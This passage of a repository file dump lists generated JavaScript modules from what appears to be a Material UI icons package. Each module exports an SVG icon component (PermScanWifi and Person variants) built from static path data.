  },
  {
    "path": "packages/mui-icons-material/lib/PermScanWifiSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3C6.95 3 3.15 4.85 0 7.23L12 22 24 7.25C20.85 4.87 17.05 3 12 3m1 13h-2v-6h2zm-2-8V6h2v2z\"\n}), 'PermScanWifiSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermScanWifiSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3C6.95 3 3.15 4.85 0 7.23L12 22 24 7.25C20.85 4.87 17.05 3 12 3m1 13h-2v-6h2zm-2-8V6h2v2z\"\n}), 'PermScanWifiSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermScanWifiTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5c-3.26 0-6.2.85-9.08 2.65L12 18.83l9.08-11.16C18.18 5.85 15.25 5 12 5m1 11h-2v-6h2zm-2-8V6h2v2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3C6.95 3 3.15 4.85 0 7.23L12 22 24 7.25C20.85 4.87 17.05 3 12 3M2.92 7.65C5.8 5.85 8.74 5 12 5c3.25 0 6.18.85 9.08 2.67L12 18.83zM11 10h2v6h-2zm0-4h2v2h-2z\"\n}, \"1\")], 'PermScanWifiTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PermScanWifiTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5c-3.26 0-6.2.85-9.08 2.65L12 18.83l9.08-11.16C18.18 5.85 15.25 5 12 5m1 11h-2v-6h2zm-2-8V6h2v2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3C6.95 3 3.15 4.85 0 7.23L12 22 24 7.25C20.85 4.87 17.05 3 12 3M2.92 7.65C5.8 5.85 8.74 5 12 5c3.25 0 6.18.85 9.08 2.67L12 18.83zM11 10h2v6h-2zm0-4h2v2h-2z\"\n}, \"1\")], 'PermScanWifiTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Person.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0 2c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4\"\n}), 'Person');"
  },
  {
    "path": "packages/mui-icons-material/lib/Person.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0 2c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4\"\n}), 'Person');"
  },
  {
    "path": "packages/mui-icons-material/lib/Person2.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.39 14.56C16.71 13.7 14.53 13 12 13s-4.71.7-6.39 1.56C4.61 15.07 4 16.1 4 17.22V20h16v-2.78c0-1.12-.61-2.15-1.61-2.66M9.78 12h4.44c1.21 0 2.14-1.06 1.98-2.26l-.32-2.45C15.57 5.39 13.92 4 12 4S8.43 5.39 8.12 7.29L7.8 9.74c-.16 1.2.77 2.26 1.98 2.26\"\n}), 'Person2');"
  },
  {
    "path": "packages/mui-icons-material/lib/Person2.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.39 14.56C16.71 13.7 14.53 13 12 13s-4.71.7-6.39 1.56C4.61 15.07 4 16.1 4 17.22V20h16v-2.78c0-1.12-.61-2.15-1.61-2.66M9.78 12h4.44c1.21 0 2.14-1.06 1.98-2.26l-.32-2.45C15.57 5.39 13.92 4 12 4S8.43 5.39 8.12 7.29L7.8 9.74c-.16 1.2.77 2.26 1.98 2.26\"\n}), 'Person2');"
  },
  {
    "path": "packages/mui-icons-material/lib/Person2Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.39 14.56C16.71 13.7 14.53 13 12 13s-4.71.7-6.39 1.56C4.61 15.07 4 16.1 4 17.22V20h16v-2.78c0-1.12-.61-2.15-1.61-2.66M18 18H6v-.78c0-.38.2-.72.52-.88C7.71 15.73 9.63 15 12 15s4.29.73 5.48 1.34c.32.16.52.5.52.88zm-8.22-6h4.44c1.21 0 2.14-1.06 1.98-2.26l-.32-2.45C15.57 5.39 13.92 4 12 4S8.43 5.39 8.12 7.29L7.8 9.74c-.16 1.2.77 2.26 1.98 2.26m.32-4.41C10.26 6.67 11.06 6 12 6s1.74.67 1.9 1.59l.32 2.41H9.78z\"\n}), 'Person2Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Person2Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.39 14.56C16.71 13.7 14.53 13 12 13s-4.71.7-6.39 1.56C4.61 15.07 4 16.1 4 17.22V20h16v-2.78c0-1.12-.61-2.15-1.61-2.66M18 18H6v-.78c0-.38.2-.72.52-.88C7.71 15.73 9.63 15 12 15s4.29.73 5.48 1.34c.32.16.52.5.52.88zm-8.22-6h4.44c1.21 0 2.14-1.06 1.98-2.26l-.32-2.45C15.57 5.39 13.92 4 12 4S8.43 5.39 8.12 7.29L7.8 9.74c-.16 1.2.77 2.26 1.98 2.26m.32-4.41C10.26 6.67 11.06 6 12 6s1.74.67 1.9 1.59l.32 2.41H9.78z\"\n}), 'Person2Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Person2Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.39 14.56C16.71 13.7 14.53 13 12 13s-4.71.7-6.39 1.56C4.61 15.07 4 16.1 4 17.22V18c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-.78c0-1.12-.61-2.15-1.61-2.66M9.78 12h4.44c1.21 0 2.14-1.06 1.98-2.26l-.32-2.45C15.57 5.39 13.92 4 12 4S8.43 5.39 8.12 7.29L7.8 9.74c-.16 1.2.77 2.26 1.98 2.26\"\n}), 'Person2Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Person2Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.39 14.56C16.71 13.7 14.53 13 12 13s-4.71.7-6.39 1.56C4.61 15.07 4 16.1 4 17.22V18c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-.78c0-1.12-.61-2.15-1.61-2.66M9.78 12h4.44c1.21 0 2.14-1.06 1.98-2.26l-.32-2.45C15.57 5.39 13.92 4 12 4S8.43 5.39 8.12 7.29L7.8 9.74c-.16 1.2.77 2.26 1.98 2.26\"\n}), 'Person2Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Person2Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.39 14.56C16.71 13.7 14.53 13 12 13s-4.71.7-6.39 1.56C4.61 15.07 4 16.1 4 17.22V20h16v-2.78c0-1.12-.61-2.15-1.61-2.66M9.78 12h4.44c1.21 0 2.14-1.06 1.98-2.26l-.32-2.45C15.57 5.39 13.92 4 12 4S8.43 5.39 8.12 7.29L7.8 9.74c-.16 1.2.77 2.26 1.98 2.26\"\n}), 'Person2Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Person2Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.39 14.56C16.71 13.7 14.53 13 12 13s-4.71.7-6.39 1.56C4.61 15.07 4 16.1 4 17.22V20h16v-2.78c0-1.12-.61-2.15-1.61-2.66M9.78 12h4.44c1.21 0 2.14-1.06 1.98-2.26l-.32-2.45C15.57 5.39 13.92 4 12 4S8.43 5.39 8.12 7.29L7.8 9.74c-.16 1.2.77 2.26 1.98 2.26\"\n}), 'Person2Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Person2TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.9 7.59C13.74 6.67 12.94 6 12 6s-1.74.67-1.9 1.59L9.78 10h4.44zm3.58 8.75C16.29 15.73 14.37 15 12 15s-4.29.73-5.48 1.34c-.32.16-.52.5-.52.88V18h12v-.78c0-.38-.2-.72-.52-.88\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.39 14.56C16.71 13.7 14.53 13 12 13s-4.71.7-6.39 1.56C4.61 15.07 4 16.1 4 17.22V20h16v-2.78c0-1.12-.61-2.15-1.61-2.66M18 18H6v-.78c0-.38.2-.72.52-.88C7.71 15.73 9.63 15 12 15s4.29.73 5.48 1.34c.32.16.52.5.52.88zm-8.22-6h4.44c1.21 0 2.14-1.06 1.98-2.26l-.32-2.45C15.57 5.39 13.92 4 12 4S8.43 5.39 8.12 7.29L7.8 9.74c-.16 1.2.77 2.26 1.98 2.26m.32-4.41C10.26 6.67 11.06 6 12 6s1.74.67 1.9 1.59l.32 2.41H9.78z\"\n}, \"1\")], 'Person2TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Person2TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.9 7.59C13.74 6.67 12.94 6 12 6s-1.74.67-1.9 1.59L9.78 10h4.44zm3.58 8.75C16.29 15.73 14.37 15 12 15s-4.29.73-5.48 1.34c-.32.16-.52.5-.52.88V18h12v-.78c0-.38-.2-.72-.52-.88\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.39 14.56C16.71 13.7 14.53 13 12 13s-4.71.7-6.39 1.56C4.61 15.07 4 16.1 4 17.22V20h16v-2.78c0-1.12-.61-2.15-1.61-2.66M18 18H6v-.78c0-.38.2-.72.52-.88C7.71 15.73 9.63 15 12 15s4.29.73 5.48 1.34c.32.16.52.5.52.88zm-8.22-6h4.44c1.21 0 2.14-1.06 1.98-2.26l-.32-2.45C15.57 5.39 13.92 4 12 4S8.43 5.39 8.12 7.29L7.8 9.74c-.16 1.2.77 2.26 1.98 2.26m.32-4.41C10.26 6.67 11.06 6 12 6s1.74.67 1.9 1.59l.32 2.41H9.78z\"\n}, \"1\")], 'Person2TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Person3.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.39 14.56C16.71 13.7 14.53 13 12 13s-4.71.7-6.39 1.56C4.61 15.07 4 16.1 4 17.22V20h16v-2.78c0-1.12-.61-2.15-1.61-2.66M10 12h4c1.66 0 3-1.34 3-3 0-.73-.27-1.4-.71-1.92.13-.33.21-.7.21-1.08 0-1.25-.77-2.32-1.86-2.77C14 2.48 13.06 2 12 2s-2 .48-2.64 1.23C8.27 3.68 7.5 4.75 7.5 6c0 .38.08.75.21 1.08C7.27 7.6 7 8.27 7 9c0 1.66 1.34 3 3 3\"\n}), 'Person3');"
  },
  {
    "path": "packages/mui-icons-material/lib/Person3.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.39 14.56C16.71 13.7 14.53 13 12 13s-4.71.7-6.39 1.56C4.61 15.07 4 16.1 4 17.22V20h16v-2.78c0-1.12-.61-2.15-1.61-2.66M10 12h4c1.66 0 3-1.34 3-3 0-.73-.27-1.4-.71-1.92.13-.33.21-.7.21-1.08 0-1.25-.77-2.32-1.86-2.77C14 2.48 13.06 2 12 2s-2 .48-2.64 1.23C8.27 3.68 7.5 4.75 7.5 6c0 .38.08.75.21 1.08C7.27 7.6 7 8.27 7 9c0 1.66 1.34 3 3 3\"\n}), 'Person3');"
  },
  {
    "path": "packages/mui-icons-material/lib/Person3Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.39 14.56C16.71 13.7 14.53 13 12 13s-4.71.7-6.39 1.56C4.61 15.07 4 16.1 4 17.22V20h16v-2.78c0-1.12-.61-2.15-1.61-2.66M18 18H6v-.78c0-.38.2-.72.52-.88C7.71 15.73 9.63 15 12 15s4.29.73 5.48 1.34c.32.16.52.5.52.88zm-8-6h4c1.66 0 3-1.34 3-3 0-.73-.27-1.4-.71-1.92.13-.33.21-.7.21-1.08 0-1.25-.77-2.32-1.86-2.77C14 2.48 13.06 2 12 2s-2 .48-2.64 1.23C8.27 3.68 7.5 4.75 7.5 6c0 .38.08.75.21 1.08C7.27 7.6 7 8.27 7 9c0 1.66 1.34 3 3 3m-.76-3.63c.87-1.04.26-2 .26-2.37 0-.41.24-.77.62-.92.29-.12.55-.31.75-.54.17-.21.55-.54 1.13-.54s.96.33 1.13.53c.2.24.46.42.75.54.38.16.62.52.62.93 0 .37-.61 1.33.26 2.37.58.69.04 1.63-.76 1.63h-4c-.8 0-1.34-.94-.76-1.63\"\n}), 'Person3Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Person3Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.39 14.56C16.71 13.7 14.53 13 12 13s-4.71.7-6.39 1.56C4.61 15.07 4 16.1 4 17.22V20h16v-2.78c0-1.12-.61-2.15-1.61-2.66M18 18H6v-.78c0-.38.2-.72.52-.88C7.71 15.73 9.63 15 12 15s4.29.73 5.48 1.34c.32.16.52.5.52.88zm-8-6h4c1.66 0 3-1.34 3-3 0-.73-.27-1.4-.71-1.92.13-.33.21-.7.21-1.08 0-1.25-.77-2.32-1.86-2.77C14 2.48 13.06 2 12 2s-2 .48-2.64 1.23C8.27 3.68 7.5 4.75 7.5 6c0 .38.08.75.21 1.08C7.27 7.6 7 8.27 7 9c0 1.66 1.34 3 3 3m-.76-3.63c.87-1.04.26-2 .26-2.37 0-.41.24-.77.62-.92.29-.12.55-.31.75-.54.17-.21.55-.54 1.13-.54s.96.33 1.13.53c.2.24.46.42.75.54.38.16.62.52.62.93 0 .37-.61 1.33.26 2.37.58.69.04 1.63-.76 1.63h-4c-.8 0-1.34-.94-.76-1.63\"\n}), 'Person3Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Person3Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.39 14.56C16.71 13.7 14.53 13 12 13s-4.71.7-6.39 1.56C4.61 15.07 4 16.1 4 17.22V18c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-.78c0-1.12-.61-2.15-1.61-2.66M10 12h4c1.66 0 3-1.34 3-3 0-.73-.27-1.4-.71-1.92.13-.33.21-.7.21-1.08 0-1.25-.77-2.32-1.86-2.77C14 2.48 13.06 2 12 2s-2 .48-2.64 1.23C8.27 3.68 7.5 4.75 7.5 6c0 .38.08.75.21 1.08C7.27 7.6 7 8.27 7 9c0 1.66 1.34 3 3 3\"\n}), 'Person3Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Person3Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.39 14.56C16.71 13.7 14.53 13 12 13s-4.71.7-6.39 1.56C4.61 15.07 4 16.1 4 17.22V18c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-.78c0-1.12-.61-2.15-1.61-2.66M10 12h4c1.66 0 3-1.34 3-3 0-.73-.27-1.4-.71-1.92.13-.33.21-.7.21-1.08 0-1.25-.77-2.32-1.86-2.77C14 2.48 13.06 2 12 2s-2 .48-2.64 1.23C8.27 3.68 7.5 4.75 7.5 6c0 .38.08.75.21 1.08C7.27 7.6 7 8.27 7 9c0 1.66 1.34 3 3 3\"\n}), 'Person3Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Person3Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.39 14.56C16.71 13.7 14.53 13 12 13s-4.71.7-6.39 1.56C4.61 15.07 4 16.1 4 17.22V20h16v-2.78c0-1.12-.61-2.15-1.61-2.66M10 12h4c1.66 0 3-1.34 3-3 0-.73-.27-1.4-.71-1.92.13-.33.21-.7.21-1.08 0-1.25-.77-2.32-1.86-2.77C14 2.48 13.06 2 12 2s-2 .48-2.64 1.23C8.27 3.68 7.5 4.75 7.5 6c0 .38.08.75.21 1.08C7.27 7.6 7 8.27 7 9c0 1.66 1.34 3 3 3\"\n}), 'Person3Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Person3Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.39 14.56C16.71 13.7 14.53 13 12 13s-4.71.7-6.39 1.56C4.61 15.07 4 16.1 4 17.22V20h16v-2.78c0-1.12-.61-2.15-1.61-2.66M10 12h4c1.66 0 3-1.34 3-3 0-.73-.27-1.4-.71-1.92.13-.33.21-.7.21-1.08 0-1.25-.77-2.32-1.86-2.77C14 2.48 13.06 2 12 2s-2 .48-2.64 1.23C8.27 3.68 7.5 4.75 7.5 6c0 .38.08.75.21 1.08C7.27 7.6 7 8.27 7 9c0 1.66 1.34 3 3 3\"\n}), 'Person3Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Person3TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 10h4c.8 0 1.34-.94.76-1.63-.87-1.04-.26-2-.26-2.37 0-.41-.24-.77-.62-.92-.29-.12-.55-.31-.75-.54C12.96 4.33 12.58 4 12 4s-.96.33-1.13.53c-.2.24-.46.42-.75.54-.38.16-.62.52-.62.93 0 .37.61 1.33-.26 2.37C8.66 9.06 9.2 10 10 10m7.48 6.34C16.29 15.73 14.37 15 12 15s-4.29.73-5.48 1.34c-.32.16-.52.5-.52.88V18h12v-.78c0-.38-.2-.72-.52-.88\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.39 14.56C16.71 13.7 14.53 13 12 13s-4.71.7-6.39 1.56C4.61 15.07 4 16.1 4 17.22V20h16v-2.78c0-1.12-.61-2.15-1.61-2.66M18 18H6v-.78c0-.38.2-.72.52-.88C7.71 15.73 9.63 15 12 15s4.29.73 5.48 1.34c.32.16.52.5.52.88zm-8-6h4c1.66 0 3-1.34 3-3 0-.73-.27-1.4-.71-1.92.13-.33.21-.7.21-1.08 0-1.25-.77-2.32-1.86-2.77C14 2.48 13.06 2 12 2s-2 .48-2.64 1.23C8.27 3.68 7.5 4.75 7.5 6c0 .38.08.75.21 1.08C7.27 7.6 7 8.27 7 9c0 1.66 1.34 3 3 3m-.76-3.63c.87-1.04.26-2 .26-2.37 0-.41.24-.77.62-.92.29-.12.55-.31.75-.54.17-.21.55-.54 1.13-.54s.96.33 1.13.53c.2.24.46.42.75.54.38.16.62.52.62.93 0 .37-.61 1.33.26 2.37.58.69.04 1.63-.76 1.63h-4c-.8 0-1.34-.94-.76-1.63\"\n}, \"1\")], 'Person3TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Person3TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 10h4c.8 0 1.34-.94.76-1.63-.87-1.04-.26-2-.26-2.37 0-.41-.24-.77-.62-.92-.29-.12-.55-.31-.75-.54C12.96 4.33 12.58 4 12 4s-.96.33-1.13.53c-.2.24-.46.42-.75.54-.38.16-.62.52-.62.93 0 .37.61 1.33-.26 2.37C8.66 9.06 9.2 10 10 10m7.48 6.34C16.29 15.73 14.37 15 12 15s-4.29.73-5.48 1.34c-.32.16-.52.5-.52.88V18h12v-.78c0-.38-.2-.72-.52-.88\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.39 14.56C16.71 13.7 14.53 13 12 13s-4.71.7-6.39 1.56C4.61 15.07 4 16.1 4 17.22V20h16v-2.78c0-1.12-.61-2.15-1.61-2.66M18 18H6v-.78c0-.38.2-.72.52-.88C7.71 15.73 9.63 15 12 15s4.29.73 5.48 1.34c.32.16.52.5.52.88zm-8-6h4c1.66 0 3-1.34 3-3 0-.73-.27-1.4-.71-1.92.13-.33.21-.7.21-1.08 0-1.25-.77-2.32-1.86-2.77C14 2.48 13.06 2 12 2s-2 .48-2.64 1.23C8.27 3.68 7.5 4.75 7.5 6c0 .38.08.75.21 1.08C7.27 7.6 7 8.27 7 9c0 1.66 1.34 3 3 3m-.76-3.63c.87-1.04.26-2 .26-2.37 0-.41.24-.77.62-.92.29-.12.55-.31.75-.54.17-.21.55-.54 1.13-.54s.96.33 1.13.53c.2.24.46.42.75.54.38.16.62.52.62.93 0 .37-.61 1.33.26 2.37.58.69.04 1.63-.76 1.63h-4c-.8 0-1.34-.94-.76-1.63\"\n}, \"1\")], 'Person3TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Person4.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.39 14.56C16.71 13.7 14.53 13 12 13s-4.71.7-6.39 1.56C4.61 15.07 4 16.1 4 17.22V20h16v-2.78c0-1.12-.61-2.15-1.61-2.66M12 12c2.21 0 4-1.79 4-4V4.5c0-.83-.67-1.5-1.5-1.5-.52 0-.98.27-1.25.67-.27-.4-.73-.67-1.25-.67s-.98.27-1.25.67c-.27-.4-.73-.67-1.25-.67C8.67 3 8 3.67 8 4.5V8c0 2.21 1.79 4 4 4\"\n}), 'Person4');"
  },
  {
    "path": "packages/mui-icons-material/lib/Person4.mjs",
